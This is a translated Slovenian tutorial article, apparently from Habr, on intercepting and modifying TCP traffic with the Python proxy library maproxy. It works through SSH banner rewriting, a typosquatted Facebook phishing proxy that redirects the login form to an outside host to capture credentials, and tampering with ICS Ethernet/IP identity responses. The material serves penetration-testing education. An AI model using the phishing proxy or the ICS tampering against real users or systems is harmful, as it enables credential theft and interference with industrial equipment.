Obdelujte omrežne podatke sproti

Prevod članka je bil pripravljen na predvečer začetka tečaja »Pentest. Praksa penetracijskega testiranja".

Obdelujte omrežne podatke sproti

Opomba

Različne vrste ocen varnosti, ki segajo od rednega testiranja penetracije in operacij Red Team do vdiranja v naprave IoT/ICS in SCADA, vključujejo delo z binarnimi omrežnimi protokoli, to je v bistvu prestrezanje in spreminjanje omrežnih podatkov med odjemalcem in tarčo. Vohanje omrežnega prometa ni težka naloga, saj imamo orodja, kot so Wireshark, Tcpdump ali Scapy, vendar se zdi, da je spreminjanje delovno intenzivnejša naloga, saj bomo morali imeti nekakšen vmesnik za branje omrežnih podatkov, njihovo filtriranje, spreminjanje sproti in ga skoraj v realnem času pošlje nazaj ciljnemu gostitelju. Poleg tega bi bilo idealno, če bi takšno orodje lahko samodejno delovalo z več vzporednimi povezavami in bi bilo prilagodljivo s pomočjo skriptov.

Nekega dne sem odkril orodje, imenovano maproxy, dokumentacija mi je hitro postalo jasno, da maproxy – ravno to, kar potrebujem. To je dokaj preprost, vsestranski in enostavno nastavljiv strežnik proxy TCP. To orodje sem preizkusil na več dokaj zapletenih aplikacijah, vključno z napravami ICS (ki ustvarjajo veliko paketov), ​​da bi ugotovil, ali zmore veliko vzporednih povezav, in orodje se je dobro obneslo.

Ta članek vam bo predstavil sprotno obdelavo omrežnih podatkov z uporabo maproxy.

Pregled

Orodje maproxy temelji na Tornadu, priljubljenem in zrelem asinhronem omrežnem ogrodju v Pythonu.

Na splošno lahko deluje v več načinih:

  • TCP:TCP – nešifrirane povezave TCP;
  • TCP:SSL и SSL:TCP – z enosmernim šifriranjem;
  • SSL:SSL – dvosmerno šifriranje.

Prihaja kot knjižnica. Za hiter začetek lahko uporabite primere datotek, ki odražajo glavno funkcije knjižnice:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Primer 1 – preprost dvosmerni proxy

Temelji na tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Privzeto ProxyServer() sprejme dva argumenta – lokacijo povezave in ciljna vrata. server.listen() sprejme en argument - vrata za poslušanje dohodne povezave.

Izvajanje skripta:

# python tcp2tcp.py

Za izvedbo preizkusa se bomo povezali z lokalnim strežnikom SSH prek našega proxy skripta, ki posluša 2222/tcp in se poveže s standardnimi vrati 22/tcp SSH strežniki:

Obdelujte omrežne podatke sproti

Pozdravna pasica vas obvešča, da je naš vzorčni skript uspešno posredoval omrežni promet.

Primer 2 – sprememba podatkov

Še en demo skript logging_proxy.py idealen za interakcijo z omrežnimi podatki. Komentarji v datoteki opisujejo metode razreda, ki jih lahko spremenite, da dosežete svoj cilj:

Obdelujte omrežne podatke sproti

Najbolj zanimivo je tukaj:

  • on_c2p_done_read – za prestrezanje podatkov na poti od odjemalca do strežnika;
  • on_p2s_done_read - obrnjeno.

Poskusimo spremeniti pasico SSH, ki jo strežnik vrne odjemalcu:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Izvedite skript:

Obdelujte omrežne podatke sproti

Kot lahko vidite, je bil odjemalec zaveden, ker je bilo ime strežnika SSH zanj spremenjeno v «DumnySSH».

Obdelujte omrežne podatke sproti

Primer 3 – preprosta lažna spletna stran

Obstaja neskončno število načinov uporabe tega orodja. Tokrat se osredotočimo na nekaj bolj praktičnega s strani operacij Red Team. Posnemajmo ciljno stran m.facebook.com in uporabite domeno po meri z namerno tipkarsko napako, na primer m.facebok.com. Za namene predstavitve predpostavimo, da smo domeno registrirali mi.

Vzpostavili bomo nešifrirano omrežno povezavo s proxyjem naših žrtev in SSL Stream do strežnika Facebook (31.13.81.36). Da bo ta primer deloval, moramo zamenjati glavo gostitelja HTTP in vnesti pravilno ime gostitelja, onemogočili pa bomo tudi stiskanje odgovorov, da bomo lahko preprosto dostopali do vsebine. Na koncu bomo zamenjali obrazec HTML, tako da bodo poverilnice za prijavo poslane nam namesto Facebookovim strežnikom:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/sl/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Če povzamemo:

Obdelujte omrežne podatke sproti

Kot lahko vidite, nam je uspelo uspešno zamenjati prvotno spletno mesto.

Primer 4 – Prenos Ethernet/IP

Že kar nekaj časa se ukvarjam z industrijskimi napravami in programsko opremo (ICS/SCADA), kot so programabilni krmilniki (PLC), I/O moduli, pogoni, releji, lestvična programska okolja in še mnogo več. Ta etui je za tiste, ki imajo radi industrijske stvari. Vdiranje v takšne rešitve vključuje aktivno igranje z omrežnimi protokoli. V naslednjem primeru bi rad pokazal, kako lahko spremenite omrežni promet ICS/SCADA.

Če želite to narediti, potrebujete naslednje:

  • Omrežni sniffer, na primer Wireshark;
  • Ethernet/IP ali samo SIP naprava, najdete jo s storitvijo Shodan;
  • Naš scenarij temelji na maproxy.

Najprej si poglejmo, kako izgleda tipičen identifikacijski odziv iz CIP (Common Industrial Protocol):

Obdelujte omrežne podatke sproti

Identifikacija naprave je dosežena s protokolom Ethernet/IP, ki je izboljšana različica industrijskega protokola Ethernet, ki ovija nadzorne protokole, kot je CIP. Spremenili bomo označeno ime ID-ja, ki je vidno na posnetku zaslona "NI-IndComm za Ethernet" z uporabo našega proxy skripta. Skript bi lahko ponovno uporabili logging_proxy.py in podobno spremenite metodo razreda on_p2s_done_read, ker želimo, da je na odjemalcu vidno drugo ime identitete.

Koda:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

V bistvu smo dvakrat zahtevali identifikacijo naprave, drugi odgovor je bil prvotni, prvi pa je bil sproti spremenjen.

In zadnji

Po mojem mnenju maproxy Priročno in preprosto orodje, ki je napisano tudi v Pythonu, zato verjamem, da bo tudi vam lahko koristilo njegovo uporabo. Seveda obstajajo kompleksnejša orodja za obdelavo in spreminjanje omrežnih podatkov, ki pa zahtevajo tudi več pozornosti in so običajno ustvarjena za določen primer uporabe, npr. muraena, Modlishka ali evilginx za primere, podobne tretjemu, oz kavč za zadnji primer. Tako ali drugače s pomočjo maproxy lahko hitro implementirate svoje ideje za prestrezanje omrežnih podatkov, saj so vzorčni skripti zelo jasni.

Testiranje mehanizmov za preverjanje pristnosti v sistemu Windows AD

Vir: www.habr.com

Dodaj komentar